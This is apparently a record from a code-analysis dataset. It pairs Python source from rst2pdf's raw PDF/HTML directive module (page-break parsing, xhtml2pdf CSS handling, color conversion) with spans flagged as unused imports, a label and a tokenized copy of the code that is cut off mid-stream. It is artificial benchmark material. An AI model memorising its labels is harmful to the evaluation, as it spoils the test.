sx.pisa3.pisa_default import DEFAULT_CSS\n from sx.pisa3.pisa_parser import pisaParser,pisaGetAttributes\n from sx.pisa3.pisa_document import pisaStory\n from reportlab.platypus.flowables import Spacer\n from reportlab.platypus.frames import Frame\n from sx.pisa3.pisa_reportlab import PmlBaseDoc, PmlPageTemplate\n from sx.pisa3.pisa_util import pisaTempFile, getBox, pyPdf\n import sx.pisa3.pisa_parser as pisa_parser\n except ImportError:\n HAS_XHTML2PDF = False\n\n\nif HAS_XHTML2PDF:\n\n COLOR_BY_NAME['initial'] = Color(0, 0, 0)\n\n\n\n #import xhtml2pdf.util\n #xhtml2pdf.util.getColor = getColor2\n \n import cgi\n import logging\n from xml.dom import Node\n\n\n\n\n\n pisa_parser.pisaPreLoop = pisaPreLoop2\n\n \n HTML_CSS = \"\"\"\n html {\n font-family: Helvetica;\n font-size: 7px;\n font-weight: normal;\n color: #000000;\n background-color: transparent;\n margin: 0;\n padding: 0;\n line-height: 150%;\n border: 1px none;\n display: inline;\n width: auto;\n height: auto;\n white-space: normal;\n }\n\n b,\n strong {\n font-weight: bold;\n }\n\n i,\n em {\n font-style: italic;\n }\n\n u {\n text-decoration: underline;\n }\n\n s,\n strike {\n text-decoration: line-through;\n }\n\n a {\n text-decoration: underline;\n color: blue;\n }\n\n ins {\n color: green;\n text-decoration: underline;\n }\n del {\n color: red;\n text-decoration: line-through;\n }\n\n pre,\n code,\n kbd,\n samp,\n tt {\n font-family: \"Courier New\";\n }\n\n h1,\n h2,\n h3,\n h4,\n h5,\n h6 {\n font-weight:bold;\n -pdf-outline: true;\n -pdf-outline-open: false;\n }\n\n h1 {\n /*18px via YUI Fonts CSS foundation*/\n font-size:138.5%;\n -pdf-outline-level: 0;\n }\n\n h2 {\n /*16px via YUI Fonts CSS foundation*/\n font-size:123.1%;\n -pdf-outline-level: 1;\n }\n\n h3 {\n /*14px via YUI Fonts CSS foundation*/\n font-size:108%;\n -pdf-outline-level: 2;\n }\n\n h4 {\n -pdf-outline-level: 3;\n }\n\n h5 {\n -pdf-outline-level: 4;\n }\n\n h6 {\n -pdf-outline-level: 5;\n }\n\n h1,\n h2,\n h3,\n h4,\n h5,\n h6,\n p,\n pre,\n hr {\n margin:1em 0;\n }\n\n address,\n blockquote,\n body,\n center,\n dl,\n dir,\n div,\n fieldset,\n form,\n h1,\n h2,\n h3,\n h4,\n h5,\n h6,\n hr,\n isindex,\n menu,\n noframes,\n noscript,\n ol,\n p,\n pre,\n table,\n th,\n tr,\n td,\n ul,\n li,\n dd,\n dt,\n pdftoc {\n display: block;\n }\n\n table {\n }\n\n tr,\n th,\n td {\n\n vertical-align: middle;\n width: auto;\n }\n\n th {\n text-align: center;\n font-weight: bold;\n }\n\n center {\n text-align: center;\n }\n\n big {\n font-size: 125%;\n }\n\n small {\n font-size: 75%;\n }\n\n\n ul {\n margin-left: 1.5em;\n list-style-type: disc;\n }\n\n ul ul {\n list-style-type: circle;\n }\n\n ul ul ul {\n list-style-type: square;\n }\n\n ol {\n list-style-type: decimal;\n margin-left: 1.5em;\n }\n\n pre {\n white-space: pre;\n }\n\n blockquote {\n margin-left: 1.5em;\n margin-right: 1.5em;\n }\n\n noscript {\n display: none;\n }\n \"\"\"\n\n\nelse: # no xhtml2pdf\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def parseRaw(data, node):\n \"\"\"Parse and process a simple DSL to handle creation of flowables.\n\n Supported (can add others on request):\n\n * PageBreak\n\n * Spacer width, height\n\n \"\"\"\n elements = []\n lines = data.splitlines()\n for line in lines:\n lexer = shlex.shlex(line)\n lexer.whitespace += ','\n tokens = list(lexer)\n if not tokens:\n continue # Empty line\n command = tokens[0]\n if command == 'PageBreak':\n if len(tokens) == 1:\n elements.append(MyPageBreak())\n else:\n elements.append(MyPageBreak(tokens[1]))\n elif command == 'EvenPageBreak':\n if len(tokens) == 1:\n elements.append(MyPageBreak(breakTo='even'))\n else:\n elements.append(MyPageBreak(tokens[1],breakTo='even'))\n elif command == 'OddPageBreak':\n if len(tokens) == 1:\n elements.append(MyPageBreak(breakTo='odd'))\n else:\n elements.append(MyPageBreak(tokens[1],breakTo='odd'))\n elif command == 'FrameBreak':\n if len(tokens) == 1:\n elements.append(CondPageBreak(99999))\n else:\n elements.append(CondPageBreak(float(tokens[1])))\n elif command == 'Spacer':\n elements.append(MySpacer(adjustUnits(tokens[1]),\n adjustUnits(tokens[2])))\n elif command == 'Transition':\n elements.append(Transition(*tokens[1:]))\n elif command == 'SetPageCounter':\n elements.append(flowables.PageCounter(*tokens[1:]))\n else:\n log.error('Unknown command %s in raw pdf directive [%s]'%(command,nodeid(node)))\n return elements", "metadata": "root.parseRaw", "header": "['module', '___EOS___']", "index": 13 }, { "content": " @memoized\n def getColor2(value, default=None):\n \"\"\"\n Convert to color value.\n This returns a Color object instance from a text bit.\n \"\"\"\n\n if isinstance(value, Color):\n return value\n value = str(value).strip().lower()\n if value == \"transparent\" or value == \"none\":\n return default\n if value in COLOR_BY_NAME:\n return COLOR_BY_NAME[value]\n if value.startswith(\"#\") and len(value) == 4:\n value = \"#\" + value[1] + value[1] + value[2] + value[2] + value[3] + value[3]\n elif rgb_re.search(value):\n # e.g., value = \"<css function: rgb(153, 51, 153)>\", go figure:\n r, g, b = [int(x) for x in rgb_re.search(value).groups()]\n value = \"#%02x%02x%02x\" % (r, g, b)\n else:\n # Shrug\n pass\n return toColor(value, default) # Calling the reportlab function", "metadata": "root.getColor2", "header": "['module', '___EOS___']", "index": 101 }, { "content": " def pisaPreLoop2(node, context, collect=False):\n \"\"\"\n Collect all CSS definitions\n \"\"\"\n\n data = u\"\"\n if node.nodeType == Node.TEXT_NODE and collect:\n data = node.data\n\n elif node.nodeType == Node.ELEMENT_NODE:\n name = node.tagName.lower()\n\n # print name, node.attributes.items()\n if name in (\"style\", \"link\"):\n attr = pisaGetAttributes(context, name, node.attributes)\n print \" \", attr\n media = [x.strip() for x in attr.media.lower().split(\",\") if x.strip()]\n # print repr(media)\n\n if (attr.get(\"type\", \"\").lower() in (\"\", \"text/css\") and (\n not media or\n \"all\" in media or\n \"print\" in media or\n \"pdf\" in media)):\n\n if name == \"style\":\n for node in node.childNodes:\n data += pisaPreLoop2(node, context, collect=True)\n #context.addCSS(data)\n return u\"\"\n #collect = True\n\n if name == \"link\" and attr.href and attr.rel.lower() == \"stylesheet\":\n # print \"CSS LINK\", attr\n context.addCSS('\\n@import \"%s\" %s;' % (attr.href, \",\".join(media)))\n # context.addCSS(unicode(file(attr.href, \"rb\").read(), attr.charset))\n #else:\n # print node.nodeType\n\n for node in node.childNodes:\n result = pisaPreLoop2(node, context, collect=collect)\n if collect:\n data += result\n\n return data", "metadata": "root.pisaPreLoop2", "header": "['module', '___EOS___']", "index": 135 }, { "content": " def parseHTML(data, node):\n dest=None \n path=None \n link_callback=None \n debug=0\n default_css=HTML_CSS\n xhtml=False\n encoding=None\n xml_output=None\n raise_exception=True\n capacity=100*1024\n\n # Prepare simple context\n context = pisaContext(path, debug=debug, capacity=capacity)\n context.pathCallback = link_callback\n\n # Build story\n context = pisaStory(data, path, link_callback, debug, default_css, xhtml,\n encoding, context=context, xml_output=xml_output)\n return context.story", "metadata": "root.parseHTML", "header": "['module', '___EOS___']", "index": 392 }, { "content": " def parseHTML(data, none):\n log.error(\"You need xhtml2pdf installed to use the raw HTML directive.\")\n return []", "metadata": "root.parseHTML", "header": "['module', '___EOS___']", "index": 414 } ]
[ { "span": "import rst2pdf.flowables", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 24 }, { "span": "from reportlab.lib.colors import Color, CMYKColor, getAllNamedColors, toColor, \\\n HexColor", "start_line": 63, "start_column": 0, "end_line": 64, "end_column": 12 }, { "span": "from xhtml2pdf.default import DEFAULT_CSS", "start_line": 71, "start_column": 4, "end_line": 71, "end_column": 45 }, { "span": "from xhtml2pdf.parser import pisaParser,pisaGetAttributes", "start_line": 72, "start_column": 4, "end_line": 72, "end_column": 61 }, { "span": "from reportlab.platypus.flowables import Spacer", "start_line": 74, "start_column": 4, "end_line": 74, "end_column": 51 }, { "span": "from reportlab.platypus.frames import Frame", "start_line": 75, "start_column": 4, "end_line": 75, "end_column": 47 }, { "span": "from xhtml2pdf.xhtml2pdf_reportlab import PmlBaseDoc, PmlPageTemplate", "start_line": 76, "start_column": 4, "end_line": 76, "end_column": 73 }, { "span": "from xhtml2pdf.util import pisaTempFile, getBox, pyPdf", "start_line": 77, "start_column": 4, "end_line": 77, "end_column": 58 }, { "span": "from sx.pisa3.pisa_default import DEFAULT_CSS", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 53 }, { "span": "from sx.pisa3.pisa_parser import pisaParser,pisaGetAttributes", "start_line": 85, "start_column": 8, "end_line": 85, "end_column": 69 }, { "span": "from reportlab.platypus.flowables import Spacer", "start_line": 87, "start_column": 8, "end_line": 87, "end_column": 55 }, { "span": "from reportlab.platypus.frames import Frame", "start_line": 88, "start_column": 8, "end_line": 88, "end_column": 51 }, { "span": "from sx.pisa3.pisa_reportlab import PmlBaseDoc, PmlPageTemplate", "start_line": 89, "start_column": 8, "end_line": 89, "end_column": 71 }, { "span": "from sx.pisa3.pisa_util import pisaTempFile, getBox, pyPdf", "start_line": 90, "start_column": 8, "end_line": 90, "end_column": 66 }, { "span": "import cgi", "start_line": 129, "start_column": 4, "end_line": 129, "end_column": 14 }, { "span": "import logging", "start_line": 130, "start_column": 4, "end_line": 130, "end_column": 18 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "LICENSE", ".", "txt", " ", "for", " ", "lice", "nsi", "ng", " ", "terms_", "\\u\\u\\uNL\\u\\u\\u_", "#$", "URL", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#$", "Date", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#$", "Revi", "sion", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "shlex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "flow", "ables_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "rst", "2p", "df_", "._", "flow", "ables_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "styles_", "import_", "adjust", "Units_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "log_", "import_", "log_", ",_", "nodeid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "reportlab_", "._", "lib_", "._", "colors_", "import_", "Color_", ",_", "CM", "YK", "Color_", ",_", "get", "All", "Name", "d", "Colors_", ",_", "to", "Color_", ",_", "Hex", "Color_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "HAS", "\\u", "XH", "TML", "2", "PDF_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "xh", "tml", "2p", "df_", "._", "util_", "import_", "COLOR", "\\u", "BY", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "util_", "import_", "memoized", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "context_", "import_", "pis", "a", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "default_", "import_", "DEF", "AUL", "T", "\\u", "CS", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "parser_", "import_", "pis", "a", "Parser_", ",_", "pis", "a", "Get", "Attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "document_", "import_", "pis", "a", "Stor", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reportlab_", "._", "plat", "yp", "us_", "._", "flow", "ables_", "import_", "Spacer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reportlab_", "._", "plat", "yp", "us_", "._", "frames_", "import_", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "xh", "tml", "2p", "df", "\\u", "reportlab_", "import_", "Pm", "l", "Base", "Doc_", ",_", "Pm", "l", "Page", "Template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xh", "tml", "2p", "df_", "._", "util_", "import_", "pis", "a", "Temp", "File_", ",_", "get", "Box_", ",_", "py", "Pd", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "xh", "tml", "2p", "df_", "._", "parser_", "as_", "pis", "a", "\\u", "parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "util_", "import_", "COLOR", "\\u", "BY", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "memoized", "_", "=_", "lambda_", "*_", "a_", ":_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "context_", "import_", "pis", "a", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "default_", "import_", "DEF", "AUL", "T", "\\u", "CS", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "parser_", "import_", "pis", "a", "Parser_", ",_", "pis", "a", "Get", "Attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "document_", "import_", "pis", "a", "Stor", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reportlab_", "._", "plat", "yp", "us_", "._", "flow", "ables_", "import_", "Spacer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reportlab_", "._", "plat", "yp", "us_", "._", "frames_", "import_", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "reportlab_", "import_", "Pm", "l", "Base", "Doc_", ",_", "Pm", "l", "Page", "Template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "util_", "import_", "pis", "a", "Temp", "File_", ",_", "get", "Box_", ",_", "py", "Pd", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sx_", "._", "pis", "a3_", "._", "pis", "a", "\\u", "parser_", "as_", "pis", "a", "\\u", "parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HAS", "\\u", "XH", "TML", "2", "PDF_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "HAS", "\\u", "XH", "TML", "2", "PDF_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "COLOR", "\\u", "BY", "\\u", "NAME_", "[_", "'", "initial", "'_", "]_", "=_", "Color_", "(_", "0_", ",_", "0_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "import", " ", "xh", "tml", "2p", "df", ".", "util_", "\\u\\u\\uNL\\u\\u\\u_", "#", "xh", "tml", "2p", "df", ".", "util", ".", "get", "Color", " ", "=", " ", "get", "Color", "2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "cgi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xml_", "._", "dom_", "import_", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pis", "a", "\\u", "parser_", "._", "pis", "a", "Pre", "Loop_", "=_", "pis", "a", "Pre", "Loop", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "HTM", "L", "\\u", "CS", "S_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "html", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "famil", "y", ":", " ", "Hel", "vet", "ica", ";", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", " ", "7", "px", ";", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "weight", ":", " ", "normal", ";", "\\", "10", ";", " ", " ", " ", " ", "color", ":", " ", "#", "000000", ";", "\\", "10", ";", " ", " ", " ", " ", "background", "-", "color", ":", " ", "transp", "arent", ";", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", ":", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "padd", "ing", ":", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "line", "-", "height", ":", " ", "150", "%;", "\\", "10", ";", " ", " ", " ", " ", "border", ":", " ", "1p", "x", " ", "none", ";", "\\", "10", ";", " ", " ", " ", " ", "display", ":", " ", "inline", ";", "\\", "10", ";", " ", " ", " ", " ", "widt", "h", ":", " ", "auto", ";", "\\", "10", ";", " ", " ", " ", " ", "height", ":", " ", "auto", ";", "\\", "10", ";", " ", " ", " ", " ", "white", "-", "space", ":", " ", "normal", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "b", ",", "\\", "10", ";", " ", " ", " ", " ", "strong", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "weight", ":", " ", "bold", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "i", ",", "\\", "10", ";", " ", " ", " ", " ", "em", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "style", ":", " ", "italic", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "u", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "decorat", "ion", ":", " ", "underl", "ine", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "s", ",", "\\", "10", ";", " ", " ", " ", " ", "strike", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "decorat", "ion", ":", " ", "line", "-", "through", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "decorat", "ion", ":", " ", "underl", "ine", ";", "\\", "10", ";", " ", " ", " ", " ", "color", ":", " ", "blue", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ins", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "color", ":", " ", "green", ";", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "decorat", "ion", ":", " ", "underl", "ine", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "del", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "color", ":", " ", "red", ";", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "decorat", "ion", ":", " ", "line", "-", "through", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "pre", ",", "\\", "10", ";", " ", " ", " ", " ", "code", ",", "\\", "10", ";", " ", " ", " ", " ", "kbd", ",", "\\", "10", ";", " ", " ", " ", " ", "samp", ",", "\\", "10", ";", " ", " ", " ", " ", "tt", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "famil", "y", ":", " ", "\"", "Cour", "ier", " ", "New", "\";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h1", ",", "\\", "10", ";", " ", " ", " ", " ", "h2", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "4", ",", "\\", "10", ";", " ", " ", " ", " ", "h5", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "6", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "weight", ":", "bold", ";", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", ":", " ", "true", ";", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "open", ":", " ", "fal", "se", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h1", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "/*", "1", "8", "px", " ", "via", " ", "YU", "I", " ", "Font", "s", " ", "CS", "S", " ", "foundation", "*/", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", "138", ".5", "%;", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h2", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "/*", "16", "px", " ", "via", " ", "YU", "I", " ", "Font", "s", " ", "CS", "S", " ", "foundation", "*/", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", "123.", "1", "%;", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "1", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h", "3", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "/*", "14", "px", " ", "via", " ", "YU", "I", " ", "Font", "s", " ", "CS", "S", " ", "foundation", "*/", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", "108", "%;", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "2", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h", "4", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "3", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h5", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "4", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h", "6", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "-", "pdf", "-", "outline", "-", "level", ":", " ", "5", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "h1", ",", "\\", "10", ";", " ", " ", " ", " ", "h2", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "4", ",", "\\", "10", ";", " ", " ", " ", " ", "h5", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "6", ",", "\\", "10", ";", " ", " ", " ", " ", "p", ",", "\\", "10", ";", " ", " ", " ", " ", "pre", ",", "\\", "10", ";", " ", " ", " ", " ", "hr", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", ":", "1e", "m", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "address", ",", "\\", "10", ";", " ", " ", " ", " ", "block", "quote", ",", "\\", "10", ";", " ", " ", " ", " ", "body", ",", "\\", "10", ";", " ", " ", " ", " ", "center", ",", "\\", "10", ";", " ", " ", " ", " ", "dl", ",", "\\", "10", ";", " ", " ", " ", " ", "dir", ",", "\\", "10", ";", " ", " ", " ", " ", "div", ",", "\\", "10", ";", " ", " ", " ", " ", "fieldset", ",", "\\", "10", ";", " ", " ", " ", " ", "form", ",", "\\", "10", ";", " ", " ", " ", " ", "h1", ",", "\\", "10", ";", " ", " ", " ", " ", "h2", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "4", ",", "\\", "10", ";", " ", " ", " ", " ", "h5", ",", "\\", "10", ";", " ", " ", " ", " ", "h", "6", ",", "\\", "10", ";", " ", " ", " ", " ", "hr", ",", "\\", "10", ";", " ", " ", " ", " ", "isin", "dex", ",", "\\", "10", ";", " ", " ", " ", " ", "menu", ",", "\\", "10", ";", " ", " ", " ", " ", "nof", "rame", "s", ",", "\\", "10", ";", " ", " ", " ", " ", "nos", "cript", ",", "\\", "10", ";", " ", " ", " ", " ", "ol", ",", "\\", "10", ";", " ", " ", " ", " ", "p", ",", "\\", "10", ";", " ", " ", " ", " ", "pre", ",", "\\", "10", ";", " ", " ", " ", " ", "table", ",", "\\", "10", ";", " ", " ", " ", " ", "th", ",", "\\", "10", ";", " ", " ", " ", " ", "tr", ",", "\\", "10", ";", " ", " ", " ", " ", "td", ",", "\\", "10", ";", " ", " ", " ", " ", "ul", ",", "\\", "10", ";", " ", " ", " ", " ", "li", ",", "\\", "10", ";", " ", " ", " ", " ", "dd", ",", "\\", "10", ";", " ", " ", " ", " ", "dt", ",", "\\", "10", ";", " ", " ", " ", " ", "pdf", "toc", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "display", ":", " ", "block", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "table", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "tr", ",", "\\", "10", ";", " ", " ", " ", " ", "th", ",", "\\", "10", ";", " ", " ", " ", " ", "td", " ", "{", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "vertical", "-", "align", ":", " ", "middle", ";", "\\", "10", ";", " ", " ", " ", " ", "widt", "h", ":", " ", "auto", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "th", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "align", ":", " ", "center", ";", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "weight", ":", " ", "bold", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "center", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "text", "-", "align", ":", " ", "center", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "big", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", " ", "125", "%;", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "small", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "font", "-", "size", ":", " ", "7", "5", "%;", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ul", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", "-", "left", ":", " ", "1.5", "em", ";", "\\", "10", ";", " ", " ", " ", " ", "list", "-", "style", "-", "type", ":", " ", "disc", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ul", " ", "ul", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "list", "-", "style", "-", "type", ":", " ", "circle", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ul", " ", "ul", " ", "ul", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "list", "-", "style", "-", 